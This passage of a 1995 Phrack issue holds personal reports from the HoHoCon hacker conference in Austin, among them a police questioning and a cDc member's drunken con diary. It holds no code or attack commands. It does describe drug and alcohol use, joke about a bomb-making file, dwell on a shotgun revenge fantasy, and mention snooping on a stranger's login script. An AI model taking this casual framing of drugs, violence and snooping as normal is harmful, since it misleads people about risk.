Ophie brought up the idea of photos and so I grabbed my camera.
Everyone there got into it and I got a whole roll of film of people
hugging and kissing me, looking at porn mags with Ophie and generally
playing around somehow. They came out great. If you want yours passed
around or published, let me know. Until then, they're private.
Slyme and I headed back to Mr. Wasabi for dinner but to our surprise
it was closed! New Year's day turned out to be a bad day to try to find
places open to serve food. We should have stayed at the hotel. We finally
ended up in a bar which served food, ordered hot chocolate and consoled
ourselves on the lack of sushi. Back at the hotel a bunch of us went
room hopping and tried to determine who was left. My flight was at 7 a.m.
and I had no intention of going to sleep and taking a chance I would miss
it. Several people had flights at 8 and 10 a.m. Others were staying on
for 3 more days to get better airfare rates. I heard ErikB had left with
Ophie and he told me later they had asked the hotel and had been told I
checked out. One room we ended up in had a console copier running. I had
heard about them but never seen one and was told it was okay if I
photographed it. I went downstairs for my camera.
I hadn't been alone once since arriving in Austin. While this wasn't
always planned, the thought did occur to me that my room might be watched
and that law enforcement might be interested in any of the many people
I was seen talking to. I had mentioned a controversial interview we had
coming up with ILF and although I thought I was being overly paranoid, I
was still nervous I would be questioned about it. But it was 12:30 a.m.
or so and I felt too silly asking for someone to run downstairs with me.
So I went alone. But as I was closing the door and checking it was locked
I saw someone head down the hall towards me and I knew instantly something
was about to be up. Hackers are right when they say you can't fully
understand this until you have lived it. He asked if I was Netta and I
said yes and then he reached towards his pocket. I knew he was going for
either a gun or a badge and there was nothing I could do about either.
It turned out to be a badge and as he got close enough so that I could
see it read "Austin Police Department" I thought to myself "Kewl, it's
not the Secret Service." He asked me to accompany him to a room and,
holding my camera, I did. He told the two "security guards" that we'd be
leaving the door open. I had asked whether he was the guy who had
called me last March and he said no that he was his partner. I wondered
whether I was under investigation or whether they had no one else to ask
for information or whether they just wanted to meet me after talking to
me voice. It didn't occur to me to ask. I thought several times about the
fact I was supposed to be out with Bloodaxe and Ophie and that if I had
made it a point to leave with them this wouldn't be happening. I wondered
who else APD had questioned who had not told anyone. I wondered if they had
even questioned someone about me. I also feared people would come looking
for me and see me in that room and think I was talking to the police
voluntarily. That I had sought them out. God forbid they should think I
was telling the police about the console copier.
The whole thing only took about 8 minutes and the officer asked me
nothing I had a problem answering. He treated me with respect and didn't
press me to say anything I wasn't comfortable saying. I offered to give
him some of my magazines at the end of the conversation and he walked me
to my room and was clearly planning to wait outside. I invited him in and
he watched me pull issues from three suitcases. It was apparent nothing
illegal had gone on in my room. I'd lay odds it was the cleanest room
there too. The day before, for example, my trash in the bathroom had
been dumped at least three times. None were by me or when I was in the
room. The only thing I couldn't answer, and it was simply from nerves,
was what I had done on New Year's Eve. The answer came out that I didn't
remember and since I stammered it, it must have looked like I had seen or
done something I shouldn't have. But all I did was IRC and eat sushi and
I do that so often I didn't even remember when asked. New Year's Eve had
been almost like any other night.
Anyway, I got the console copier photo (hint: I could use a detailed
article on how they work to run with it). We then moved on to other rooms
and I ran into Drunkfux and Damien Thorn. I did a long video interview
with Drunkfux, who would have made an excellent journalist. He resisted
the idea of asking me petty questions about who I like and don't like in
the scene and who I'd sleep with if I could. I would have answered
anything he asked in the spirit of the HoHoCon video tradition, but
instead we got into more serious issues and people who think Drunkfux is
shallow or a less-than-serious dude due to his IRC reputation will be most
surprised.
Then Damien did an equally long interview and Drunkfux got eleet footage
of me closing my eyes when the talk got too technical. I did almost pass
out as it was 3 a.m. or so and I felt really comfortable being with them
but I snapped to attention just in the nick of time as Drunkfux had the
camera aimed on me and Damien was making a joke. Damien took it in stride
but I think it was the first time anyone had ever had the chance to listen
to his most eleet technical tips and was bored. I hope he knows I love him,
like most hackers, for the person he is and not for the skills or trophies
he has. I was transfixed as he told Drunkfux his beginnings in the computer
underground and his views on laws, ethics, writing, etc. I just don't lust
to know what model of phones he respects most or what gadget he's tested
last. Luckily for you, Drunkfux did the interview, not me, and he did ask
lots on that sort of stuff. After they were done Damien and I went out to
some fast food burger joint. It was dirt cheap and tasted like cardboard.
We had a great chat, as usual, and then went to the airport with Slyme who
had slept the night away and missed everything. My flight was first and
they walked me to the gate and made a fuss over me and it was the perfect
ending.
I can't believe I now have to wait till June (and go to Georgia, of
all places) to see some of you again. Oh well. In the meantime, happy
Valentine's Day to you and whoever you netsex and/or fantasize about.
Happy April Fool's Day in advance too. Just prank someone else this year,
okay? .
(Sample issues of Gray Areas are $7.00 each (U.S.) and $10.00 each
(foreign) from: Gray Areas, Inc. P.O. Box 808, Broomall, PA 19008.
E-mail addresses are: grayarea@well.sf.ca.us or grayarea@netaxs.com or
grayarea@mindvox.phantom.com. PGP key is below. Use it.)
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3
mQCNAi76UiwAAAEEALgwLwtyFrBlzHkfUlc5NIwLrIfbng5OJIG1Qlp1JN5UUaSR
EMAu8gDqwOzXVS2TLYqbz5AHYw7zBTuVneYpMH6THv4iYN9iyXMu1LUby54HLbyP
vZb61BnF9s4oyyZitGJ8F/IKnqGX5+jE3/6WvcJ0HxDJPL5jEA2uwNFX4WuNAAUR
tBZncmF5YXJlYUB3ZWxsLnNmLmNhLnVz
=rXPN
-----END PGP PUBLIC KEY BLOCK-----
==Phrack Magazine==
Volume Six, Issue Forty-Seven, File 11 of 22
Yep, grab hold of yer brainstem cuz here comes another mind-numbing,
alcohol-soaked, synapse-shakin', reality-bending review of HOHOCON!!
>>HOHOCON 1994...The Insanity Continues<<
Direct from the keyboard of
Count "Funk-Master of L0\/3 and Mayhem" Zero *cDc*.
(what follows is my subjective, semi-truthful, self-centered,
quasi-chronological tour of HoHo '94...if you're not mentioned in it,
then you obviously didn't buy me a drink)
"It starts"..
12.29.94, Thursday
--------------
Logan Airport, Boston, Massachusetts
6:29 AM
Our flight leaves in one hour. Decided to pull an all-niter from the day
before. Rather than beating my body out of REM sleep at this unholy
hour, I opt for the familiar slow death of sleep deprivation. No matter.
The tablets of ephedrine pulled me through, and now I sit in an airport
restaurant smoking Camels and waiting for something to happen.
As usual, it does.
Deth Veggie, Iskra, and Basil arrive, ready for action...we board the
plane and jump into the sky. "I like this airline...Delta....it's
not just an airline, it's a Greek letter, a symbol of change..." I remark.
"Uh, yeah," comments Veggie. "I wonder if we'll finally discover the
Meaning of Life at this con." He strains his massive legs against the seat
in front of him, weak airline plastic buckling under the force.
"Fuck metaphysics..." I say, flipping through a wad of cash in my pocket.
"I'll tell you, Veggie...the cDc T-shirts you made are fabulous. You will
surely make heaps of $$$. *That's* the most important thing!"
Veggie grins widely. We give each other the sekrit cDc handshake and rub
our silver cow-skull talismans.
Always temper metaphysics with materialism.
Arrival, Thursday afternoon
---------------------
We belly-down in Austin, and grab a cab to the wonderful Ramada. Outside,
there is a major highway under construction. Huge vehicles of
construction and destruction mull over piles of dirt and concrete.
Signs of human life are minimal.
"The Ramada at the End of the Universe...Drunkfux always chooses such
scenic locations" I note. "We can witness the creation of a mass transit
system *and* celebrate our hacker brotherhood simultaneously." The entire
landscape appears desolate and hostile to organic life. Nervously biting
my lip, I immediately spot a Dunkin Donuts over the horizon..as does
Basil. We both have keen survival instincts.
The nearby location of the 24-hr House of Caffeine and Baked Goods marked
in our minds, we enter the hotel.
"The room is $70 a nite," the woman behind the front desk offers. "We're
with the HoHoCon," says Veggie. "Don't we get special rates?" "Heh..
HoHoCon...yes, that means our rooms must cost twice as much," I joke.
The woman behind the front desk looks blankly at me...unaware. "Like a
deer in the headlights, " I tell Veggie as we collect our keys and walk
to our room. "And soon, Bambi will be eating a chrome grille..."
A "Suite of the El33tE" sign is hastily drawn up and hung outside our
door. Veggie unpacks his 17-lb solid concrete Mr. T head and places it
on a table. The concrete bust's rough base immediately gouges deep
scratches in it with a low grating noise.... "The 'T'
approves," says Veggie. I have no reason to doubt him, so I remain
silent in awe.
We find that Joe630 and Novocain are also here early...they invite us
into their room to read a large sample of 'alternative zines.' The
eclectic magazines are fascinating, and I promptly spill a glass of water
on their couch to show my appreciation. "Uh, just don't trash the
place, " Novocain tells me. "Of course not," I reply. "I'm just in a
high entropy state right now..." I immediately spill my ashtray to
prove it. (It always helps to follow up thermodynamic theory with
physical proof...I am a true Scientist.)
At some point, we flee after Joe630 demands "hugs" from us...something he
continues throughout the conference. "Grrrrr...touch me not, boy...I
will not submit to your fondling," I tell him behind clenched teeth as
I back out of the room. "I'll only hug a man if he's buying me drinks
or I'm trying to lift his wallet..."
Later that night, we hook up with Ixom and Nicko...we invite them
into our room for drinks and a philosophical discussion. Ixom's new
beard, long and flowing red like the fire of a Duraflame log, mesmerizes
me. I proceed to take notes on our conversation as Ixom and Nic begin
to debate. Soon, I begin to suspect they have been drinking a bit
beforehand.
"I like these lights when they're off."
"Are we in the Information Age?"
"Dude, shut up."
(Nic, to me) "Dude, I like your poetry, but just shut up."
"She was like 14, 15, you know, 11, 12..."
"He's always in the bathroom...y'know, he has rabies...diabetes?....
you know."
"I don't need Valium, I'm down on life...." -Veggie
"Heady stuff," I think, jotting notes furiously. Nic begins a photo
shoot of the Mr. T bust, and we are all fascinated at his skills in
capturing the inanimate object's true nature. "His true calling is
film," I think as Nic rolls painfully on the floor to capture Mr. T's
pout from a novel angle. "I must see these prints.." Nic promises to
give us copies, as soon as he figures out how to remove the exposed
film from the camera. I suddenly feel the need to drink more.
Friday
---------------
We awake and plan to head into Austin. Basil finds an ad for a store in
town called "The Corner Shoppe." "They will give us a free pair of
sunglasses with this coupon!" she exclaims.
"They will give us sunglasses, and much much more..oh yes..." I think.
Rodney, our journalist companion from Canada, joins us in our trek to
the city. 'The Corner Shoppe' turns out to be a small shack-like
store...with a large tent structure in front. Animal skulls, exotic
hides, trophy mounts, blankets, arrowheads, Indian mandellas, silver
jewelry, rugs, pottery, and plaster sculptures abound... We wander
over to the tent and begin to browse. "Look, they have plaster busts
of Elvis and Beethoven on the same shelf," Basil remarks. "This is
truly a Store of Symmetry," I reply, as I run my fingers over a large,
bleached cow skull. The papery-smooth bone is cool and dry on my hands,
and I wonder about the fate of the rest of the mighty beast. I imagine
the live cow roaming fields, chewing cud, powerful flanks driving it up
and down verdant hills of grass. A skull is more than an object, it is
a link to the once-living creature... "To this favor, she must come" I
mumble to myself, lost in introspection. "What?" asks Veggie?
"Nothing," I reply, shaking the thoughts from my mind. "Let us go
inside and secure the sunglasses." Never forget one's true purpose.
All the native creatures of Texas are inside the store...albeit, dead.
Stuffed, desiccated, mounted...and all available for purchase. "Do you
have a scorpion mounted in a bolo?" I ask the proprietor. "No, well, we
did, but you know, Christmas...we were cleaned out," she sullenly
replies. "No problem," I grin back at her. "I am disappointed, but not
dejected. You have a fine establishment here." She smiles back and
begins to show me an assortment of desiccated rattlesnakes. "Of all
creatures, reptiles remain the most lifelike in death," I affirm. She
smiles nervously and points me towards the stuffed frogs. "Silly woman,
these are mere amphibians," I think to myself, but I follow her anyway.
Veggie offers the other employee a sacred cDc silver cow skull talisman
as a gift. "Say, this is nice..never seen anything like it....I rope
steer, and was going to put a silver cross on my baseball cap...but I
think I'll put this on it instead," he says excitedly. "Zero, this
*proves* that cDc is more popular than God!" Veggie whispers to me in
private. "Undoubtedly," I respond. We bask in the moment.
Iskra finds an elephant skull lurking on a cabinet. We are amazed at
the cranial capacity. I purchase a fine cow skull (complete with hanging
hook). After a few hours, Basil finally selects a pair of sunglasses
(free) and we begin to walk aimlessly around the fringes of the city.
Entering a Salvation Army store, Rodney begins to film us as we pick
through the remnants of other people's lives... "Are you guys in a rock
band?" another customer asks me. "Yes, I play Extended Keyboards,"
I answer back, my attention lost in a milk crate full of used '80s
cassette tapes. Memories for sale...wholesale... We buy some plastic
guns and leave.
Later, we stop for food at an Indian restaurant. "Inexpensive buffet...
cool.." I think. However, the curry chicken is full of bones.
"Grrr...I am not pleased...these bones anger me..." "But the vegetables
are pretty good," comments Veggie. "I need meat...I need to tear and
rend flesh, " I snap back, on the verge of making an ugly scene.
Leaving the restaurant, we immediately purchase hard liquor for the
trip back to the hotel. Basil buys some Goldschlager. Veggie, some
Everclear and V8 juice.... Rodney and Iskra, a large assortment of
beer. Still filled with anger, I buy a pint of Southern Comfort out
of spite.
Friday night, many people arrive. "Rambone! Crimson Death! Holistic!"
I exclaim as I see my old, dear friends. Rambone's hair is much longer,
Holistic is noticeably more hirsute, and Crimson Death looks remarkably
the same as last year. We begin to drink heartily, and I promptly pass
out on the foot of my bed. "Damn, Zero is *out*," says Veggie. "Let
us cover his body and fill his arms with silly items and film him,"
someone suggests. Drunkfux captures my body on display for the video
archives. An hour later, I awake refreshed and only mildly humiliated.
"I was merely recharging," I tell everyone. "The mark of a professional
alcoholic is the ability to *pace* oneself." Noticing that I have
finished the Southern Comfort, I decide to forage for more liquor.
My hunt is successful to the point that I cannot remember the rest of
the evening...
Saturday, the "official" conference
-------------------
"Ugh," my brain tells me as I wake. "Stay out of this," I tell my
malfunctioning organ. "We must attend the conference and discuss hacker
things." Rolling down to the conference room, we find dozens of people
waiting in line. Flashing our cow skull talismans, Veggie and I part
the masses and proceed unhindered to the front row of the room. Iskra,
Veggie, Basil and I seat ourselves directly behind a video projector.
"Here, amuse yourselves," Drunkfux remarks and hands us a SuperNES...
Several games of Mortal Kombat ][ later, I realize I have forgotten all
the fatalities. "Damn, I need to rip out some spines," I think. We
notice the long tables at the end of the room filled with people selling
things. Fringeware has a large assortment of T-shirts, jewelry, and
books...other people are selling DTMF decoders and cable-box hacks.
"Merchandising...cDc needs more merchandising," I tell Veggie. He
responds by pulling out a large box of cDc T-shirts and hawking them to
the conference attendees. Naturally, they sell like cold bottles of
Evian in the middle of the Sahara.
Feeling a need for nicotine, I head out to the lobby area for a quick
smoke. "Rambone!" I exclaim as I spot him smoking in a corner. "How
ya doin this morning?" "How do you think?" he replies from behind dark
sunglasses. "Oh, yeah," I respond. We stand together in a
post-alcoholic haze for a few minutes before saying anything.
"Where's Crimson Death?" I ask. "Where do you think?" Rambone replies.
"Oh, yeah," I answer numbly. Same as it ever was.
Crimson Death pokes his head into the lobby sometime later...
"hey, hi"...then disappears back to his room for more sleep therapy.
Erikb shows up and starts selling LoD shirts. "I'm staying outta there,"
he replies when I ask if he's going inside the main conference room. A
Japanese man is fruitlessly trying to feed the Coke machine a dollar
bill. The machine keeps spitting out his crumpled bill like a
regurgitated leaf of soft lettuce. Feeling slightly ill, I re-enter
the conference room.
First speaker...the main guy from Fringeware, Inc. He apologizes for
rambling, then proceeds to ramble for an hour or so. I cannot focus
on his talk, and try to count the ceiling tiles. Joe630 approaches us
and says "you're in my seats..I reserved them!" "Hug me and you're a
dead man, " I growl. He wanders off. Basil and I amuse ourselves by
playing with the plugs in the back of the stacked VCRs and the video
projector. Plug and play, all the way.
Next speaker...some guys from the Prometheus Project. They are damn
intelligent and have a lot to say, all presented very professionally
(a bit *too* professional for this crowd...they could have mixed in
some cartoons or something with their textual overheads). Most of the
conference attendees seem to have the attention spans of gnats, and many
appear to nod off. Too bad...the future of digital cash, encryption,
and Underground Networks over conventional TCP/IP...very rad stuff
(http://www.io.com/user/mccoy/unternet for more info). I plan to
investigate more ...definitely.
Another speaker...some guy talking about computer security...I don't
catch his name, since I begin to have a slight nic fit and bolt for
the lobby and my smokes. (Isn't this moment-by-moment review fascinating
and oh-so-true to life?)
Damien Thorn comes up and talks about his current cellular articles
and projects. He's apparently releasing a video on "cellular hacking"
(Cellular Hacking: A Training Video for Technical Investigators)...shows
a clip of it..damn hilarious. More like "MTV and Cops meets Cellular
Hackers"...tech info mixed with funky music and hands-on demos/skits...
I gotta have it (mail to Phoenix Rising Communications, 3422 W. Hammer
Lane, Suite C-110, Stockton, CA, 95219 for info). Altho he says he is
nervous about talking in front of everyone, he is very articulate...
good show, man. He demos some DDI hardware for snarfing reverse-channel
data...nothing really new, but nice to see. Veggie starts playing with
his cow skull talisman on the overhead projector, while Basil begins to
make twist-tie sculptures of cows and other animals. I attempt to make
a twist-tie bird. "What is that, a dog?," she laughs.
"My art is wasted on you," I growl, teeth bared.
Veggie gets up and talks about Canadians blowing themselves up after
reading an old file of his on how to make pipe bombs. After he sits
down, I suggest he release a new file. "Veg, man, you can call it 'An
Addendum on How to Make Gasoline Bombs'...tell everyone it is a
supplemental file to something you released years ago...include in it
the note 'I forgot this safety circuit in my FIRST release of 'How to
Make Gasoline Bombs'...you MUST include this crucial safety on the
bomb...or it just might go off prematurely in your LAP....like, on a
bumpy subway in New York'...it'll be a riot, dontcha think?" Veggie
just glares at me and cracks his knuckles. It sounds like a heavy dog
padding on thin, brittle plastic. "I don't think so," he mutters. Oh
well, it was just an idea. I ponder my own dark, sick sense of humor.
Perhaps I need therapy.
Grayarea gets up and begins to read off a pre-prepared speech on her
laptop. Her speech is too quick for my alcohol-byproduct-sodden
synapses to register accurately. I keep staring at her dress...bright
tie-dye...mesmerizing...it's actually quite cool. Suddenly, Loki gets
up in the audience and the accusations fly back and forth between them.
You kicked me off IRC. You called my office at work. You are doing
this, you are doing that. Both are getting into this verbal slugfest
in a major way. I feel the bad karma in the room hanging heavy like
blue-green cigar smoke. "Can't we all just get along??" I yell, but
no one seems to hear me. I don't know who is right or wrong (it's
probably somewhere in between...the truth always gray, right?), so I
don't hypothesize. All I do know is that I'd never want to piss off
Grayarea...she's damn strong on her convictions and won't take shit from
anyone. I think she'd look better up there wearing a big ol' leather
jacket with studs...terminator style. "One tends to assume that people
wearing tie-dye gear are quiet, meek, very soft spoken,
non-confrontational types....it is a camouflage that suits her well,"
I think.
Finally, Steve Ryan gets up and speaks about some new computer crime
laws passed in Texas. A lawyer working with the Austin EFF, he's always
got something funny and informative to say. The new laws define
"approaching" a restricted computer system as being illegal, as well as
defining a "biochemical computational device" as a computer system. In
other words, if someone comes up to you and talks to you, they have
"approached" your personal "biochemical computational device"
(read: brain), and are technically prosecutable for "hacking" under Texas
law. Hoo yeah! Steve's whole speech is very cool, and I am only
disappointed in the fact that he is the last person to speak....it's
running very late and I have the attention span of a *hyperactive* gnat
at this point.. But had it been anyone else up there, most of the
conference attendees probably would have nodded off or wandered out the
room.
After Steve, the conference fragments as people leave or buy last minute
items from the "vendor tables." I buy a neat piece of jewelry...a
little plastic doll arm tightly wrapped in twisted wire and metal.
I pin it to the lapel of my jacket. "I'm ready to rock, let's party!"
We leave in search of alcohol and assorted mind-enhancements.
In the hotel restaurant, we gather to plan our New Year's Eve excursion.
All of our synapses are jammin' to various biochemical beats, and I
order a chicken fried steak to fuel the fire in my skull. "Veggie,
your pupils are the size of dinner plates," I tell him from behind a
mouthful of steak and gravy. "Let me touch your jacket...is it blue
or green?" he replies. "It is both...yet neither," I respond,
pulling my arm out of his clutches. Later, we secure a ride with
Ixom and Nicko into Austin...destination: Sixth Street.
"Say Nic, did you ever see that movie 'Heavy Metal'..y'know, when
the aliens are trying to land their spacecraft in the huge space
station?" I yell above the whine of the engine, digging my nails into
the passenger seat. "Nope," he replies, and we suddenly veer across 4
lanes of traffic. "Perhaps it is better this way," I think. Life
imitates art, then you die.
Holistic and I find Ohms. We queue up and wait to enter the house of
techno-funk. "I know this place...I feel at peace," I tell a middle-age
drunken woman in front of me. She stares back with glassy eyes and
feebly blows on her party horn. "Yes, I know," I reply and look at
my watch. 11:55PM. Five minutes later, I walk into Ohms. A flyer on
the wall has a graphic depiction of a man screwing a woman with a CRT
for her head, the title "Dance to the Sounds of Machines Fucking."
Everyone begins to cheer and yell as I step through the inner doorway.
"Either it is now 1995, or I appear to have fans," I think. Ya, right.
I order Holistic and I some screwdrivers. As the waitress is pouring
the vodka, she suddenly look distracted and our glasses overflow with
booze. Grinning at me meekly, she squirts just a dash of orange juice
in each glass and hands them too me. "Sorry, they're a bit strong,"
she apologizes. "No burden," I reply warmly. "Wow, that was weird...
but bonus for us!" Holistic says as he sips his drink with a wince.
"No, that was a sign of the cow," I smirk, fingering my silver cow skull
talisman on my neck. "You'll get used to it."
Ohms is filled with smoke, sweat, flashing lights, and the funkiest
techno music I have ever heard. Wandering outside, I see someone has
set up several computers with PPP links to the net...they are attempting
to use CU-SeeMe videoconferencing software with other sites around the
world. "Nice computer, are you responsible for this network?" I ask one
of the operators as I open the machine's PPP config file and quickly
peruse the dialup # and entire login script under the person's nose.
"Oh, I don't know how they work..I'm just playing with this Fractal
Painter thing," she replies. "Yes, I thought so...Holistic, next round
on me..." I exclaim as we leave.
There are several robotic arms on the stage clutching strobe lights,
occasionally twisting around and pointing into the crowd. Holistic,
Basil, Crimson Death, and I begin to dance with insane purpose. Four
hours later, we are still dancing. Holistic eventually leaves for the
hotel. The remaining three of us dance until we have no more body
fluids to exude. "I love you guys," Crimson Death smiles as he grabs
both me and Basil in a bearhug and kisses us on the forehead. "Yes,
this is bliss," I reply. Suddenly we see Rambone at the bar...he is
wide-eyed and sweating more than a human should be. "Well, perhaps
bliss is relative," I think. Rambone leaves the club. Later, we find
Bill and ride safely back to the hotel. It is 6:00AM.
We find Veggie and Iskra in our room. They have been staring at
Veggie's "Hello Kitty" blinky lights and writing stories all night
long. "Read this, it's good! Read it NOW!" Veggie exclaims. "If it is
good now, it will still be good in the morning...I shall sleep now," I
answer through a haze of exhaustion. Several minutes later, my
remaining higher cortical functions shut down and I am enveloped in sleep.
Sunday, early afternoon
-----------------------
Crimson Death stops by our room to say goodbye. "Here is my new address
and such..I've written it on this paper and folded it into an origami
bird for you," he tells me. "Functional art...I dig it, man," I
answer and shake his hand. The rest of the day passes lazily, until
that evening when we pile into Drunkfux's van and head for Chuck-E-Cheeze
for dinner. "God in Heaven, they serve BEER here!" I exclaim, quickly
ordering a pint. Several slices of pizza and glasses of beer later, we
are all playing skee ball, video games, and air hockey. Basil is deftly
beating everyone at air hockey (including myself). "I'm into more
intellectual games, " I grumble. "Say Swamp Ratte', let us play a
stimulating game of 'Whack-a-Mole'." A real thinkin' man's game, by gum...
He whips my ass. "Damn moles, " I grumble again.
Many "spring echo" plastic microphones are purchased...when yelled into,
one's voice is given an echo audio-effect, and Drunkfux begins to
announce the play-by-play of the air hockey games in his best Howard
Cosell voice. I see Damien Thorn, Carol (the journalist), and a dozen
other HoHo attendees cavorting around Chuck-E-Cheeze...yet the restaurant
has technically closed 30 minutes ago. No one is attempting to make us
leave. "We dominate this establishment, but it can't last forever," I
think. Deciding it's a good time to cash in my tickets won from skee
ball, I walk over to the ticket cash-in counter. I notice the man
behind the counter is counting them by weighing them on a scale.
"Hrmmm...I wonder if I dipped them in beer...the increased weight would
increase my.." but my thoughts are stopped short. Too late, the
restaurant is surely closing now, and everyone is leaving. "Next time,
muahahahaha." I plot and scheme. The giant plastic monkey (costing 500
tickets) will surely be mine...next time.
Back at the hotel, I glance at a local newspaper in the lobby. On the
front page is a story of 2 people shot and killed in Planned Parenthood
clinics in Brookline by some sick 'right-to-lifer'. "Goddamn, that's in
my home city...Boston!", I think. Quickly reading the story, I feel
sickened that someone could kill like that. I entertain a brief
fantasy....me sitting in the clinic in the waiting room....me seeing the
sicko pull a rifle out of a bag and pointing it at the defenseless
receptionist....me swinging my pump-action Mossberg 500 12 gauge shotgun
out from under my long coat....and me walking six rifled deer slugs up
the scumbag's spine. Doom on you, sucker. Violence is nasty, but it is
a final resort sometimes. I think how I'd have no reservations defending
another human life with deadly force. "An armed society is a polite
society," I think, mentally quoting Robert Heinlein. If all those clinic
workers could pack heat, people would think twice about trying to
threaten them. People have the right to choose how they live their own
fucking lives and control their own damn bodies...they shouldn't have to
die for it. I read how the police are planning to increase "officer
visibility" around the clinics. "Ya sure, us poor citizens are too meek
to defend ourselves...let's let big bro' handle it..," I think. I file
the entire incident in my mind under "yet another reason to watch your
ass and carry a big stick."
I go back to the room and drown my reality-dosed anger by reading the
ultra-violent comic book "Milk and Cheese" (most highly recommended..buy
it...now!). I ponder one of Cheese's most memorable quotes: "I wish I
had a baseball bat the size of Rhode Island, so I could beat the shit
out of this stupid-ass planet." Sometimes, yes.
Later that night, Rika (the Japanese correspondent) gives us a private
viewing of Torquie's video on hacking. We all agree it is very good...a
great deal of coverage of the international scene...Germany...the
Netherlands...even a clip of someone boxing in Malaysia. I fall asleep
feeling content.
Monday, *TREMENDOUS DAMAGE*
--------------------
Monday arrives like a lamb...we wake late and hang around our room.
Swamp Ratte' decides to take a shower. "I'm just trying this concept out...
if I like it, I might do it again," he says. After the shower, he gives
the concept a big "thumbs up" and tells us of his plans to incorporate
it into his regular personal hygiene routine. "This shower idea could be
the Next Big Thing," he says ominously. "Change is good...and so is
conditioner," I comment, combing the snarls out of my own hair. We call
downstairs to check on the jacuzzi suite we had reserved for tonight.
We are curtly informed that they are all booked. "What, you promised us,"
I gasp. "Damn you, then we shall check out of this pit....sayonara!"
Two hours later, we receive notice that all HoHo attendees still in the
hotel are being kicked out "due to the *tremendous damage* incurred on
the hotel this past weekend." "What Tremendous Damage?? I'll show them
tremendous damage!" Veggie vows, leaping for the door. The rest of us
manage to convince Veggie that his plans to drive to the closest hardware
store and buy a box of crowbars and sledgehammers is probably not the
best thing to do. "Don't worry, Veg, " I say, comforting him. "We
shall find another jacuzzi, no doubt."
We pile into Drunkfux's van and search for a new hotel in the center of
the city. On the way, we swing back into The Corner Shoppe, where
Rodney films some more of our antics amongst the dead critters. Rambone
buys a long bullwhip (it's a hobby, he says), and Swamp Ratte' gives an
impassioned speech for the camera on the joys of authoring. We finally
drop off Rodney at the airport and bid him farewell on his voyage back
to the Great White North.
The downtown Marriott ends up being our final destination. After
visually checking out the jacuzzi and pool facilities (no jacuzzi in
the room, sigh, but a very nice public one open until 11:00PM),
Drunkfux, Basil, and I head out in search of swimwear. Veggie, Iskra,
Swamp Ratte', and Rambone remain in the room...and eventually
head for the bar. We return ready for aquatics. The three of us soak
in the jacuzzi and swim in the pool, and finally we all retire to our
hotel room. "Damn, everyone looks like beached squid...let's go out to
Emo's tonight!" I exclaim, trying to win them over. Veggie, Iskra,
Basil, and Rambone appear dead to the world. "Here, I have some
ephedrine left over from the other night...it's over-the-counter...and
will make your toes tap." Reluctantly, they agree to partake. A few
minutes later, Rambone and Veggie are wrestling on the bed, and I am
experimenting on Drunkfux with Rambone's bullwhip. "Gosh, I think
these pills are stimulating," remarks Rambone. "Yes, and let us not
waste it...to Emos!" I cry. We arrive at Emos and spend the evening
playing pinball and listening to the jukebox.
Returning to the Marriott, we are all still wired. "Let us watch 'The
Crow' on the tele," I suggest. "Mayhem and Love at it's best!" Most
agree, and I sit riveted for the entire film. "I am morphine for a
wooden leg," I quote mentally from the original graphic novel. That
line never got into the movie, but I think it is one of O'Barr's best.
Tuesday
-----------------
Not much happens...we wander the city...bid farewell to Rambone at the
airport...check out the Fringeware store at 5015 1/2 Duval Street in
Austin...and generally chill. Erikb shows up, and Drunkfux wires the
hotel room for a video interview with him and the rest of us as we all
lounge on the two twin beds. At one point, Drunkfux, Basil, and I are
alone in the room when I call downstairs for room service (I sometimes
have a need for funked-up potato skins, pronto). A knock at the door...
Drunkfux answers it wearing nothing but a towel around his waist and a
towel on his head (having just showered). Ushering in the room service
guy, I tell him "just put the tray on the table, kind servant" I
absentmindedly push aside Rambone's coiled bullwhip. Suddenly realizing
the potential misinterpretation of my situation, I glance behind me to
see the video camera on tripod pointed at the beds, video equipment,
monitors, and Basil wearing her leather pants, curled up on one of the
many tousled blankets, dead asleep. "Uh, huh....thanks...." I stammer
as I slip the guy a fiver. I try to think of something funny to say
like "oh, we're making a DOCUMENTARY," but the glazed look in his eyes
tells me we are beyond the point of no return. "Well, these are the
rumors that legends are made of," I think as I close the door behind him
and wolf down my skins. They are teeming with toppings.
That evening, I take a late-nite swim by myself in the pool. The water
is heated, and by swimming under a small ledge, one is able to actually
swim to the outside section of the pool under the open sky. Steam
rises in thick curls into the crisp night air, and as I float on my back
I am able to see the stars. Never have I felt so relaxed. "Like an
amoeba in the primordial soup, I live in the gutter yet strive for the
stars," I paraphrase softly to myself. Only the stars hear me.
Wednesday (last day, YES, we EVENTUALLY go back home)
-------------------
Waking at the ungodly hour of 5AM, we make our early flight back to
Boston. Swamp Ratte' and I sit in the hotel lobby waiting for our shuttle
to the airport.
"I'm going to write about this HoHoCon again...we can put it in
cDc #300," I tell him.
"Cool," he replies. "What's it going to be like?"
"I dunno...the same as last time..maybe I'll mix in some weird dream
sequences."
"How about the cDc members fighting the Power Rangers and whippin' their
sorry asses?"
"Yeah, that sounds surreal enough!"
We make our goodbyes, and on the way to the airport the shuttle bus
driver from the hotel asks us "so are you with the team?"
"Uh, what team?"
"You know...the Power Rangers team...the ones putting on the show...they
are staying in our hotel. I thought you were with them. They're actors
putting on a live Power Rangers show across the country."
"No, no, we're not with them. Please leave us alone."
My mind is pulled apart by this lattice of coincidence. I decide to leave
the dream sequence out of my phile. This, Veggie, THIS...is a sign.
I don't talk to the others much during the flight home. Perhaps it is
because I know the adventure is over and I am saddened slightly.
Perhaps I am merely tired. Most probably, it is a combination of the
two. I quickly depart from the airport and without goodbyes grab a cab
for the L0pht. I spend that evening alone at the L0pht, surrounded by
Machines of Loving Grace and the solitude of blinking electronic devices...
I am a bit happier.
(for the uninformed, HERTz is the Hohocon Emergency
Response Team, born to deal with pussy (err posse)-like
hackers on the net)
OK, here it is...The complete story about hohocon.org, or at least as much as
I can piece together...I will try to restrict myself to hohocon.org
information, as I sure plenty of people have their own comments on what
happened at h0h0.
I arrived at hohocon Friday evening, and there was nobody around. After
phoning fool's VMB, I headed up to room 518, the computer room, to see
what was up. f0t0n, MiCRO^[[, fool and other people were scattered throughout
the room were supposedly working on getting the system up, but they were
having some "routing" problem...Hmm... Nevertheless, they finally got it up
a short time later, working reasonably well.
hohocon.org consisted of a mass of computer equipment all kludged together,
which nevertheless worked remarkably well. There was the main user machine,
hohocon.org, which handled all the user logins, the (supposedly dual) 28.8k PPP
gateway machine, photon.hohocon.org, the terminal server, oki900.hohocon.org,
and then micro^[['s box, lie.hohocon.org (lie didn't allow logins to most
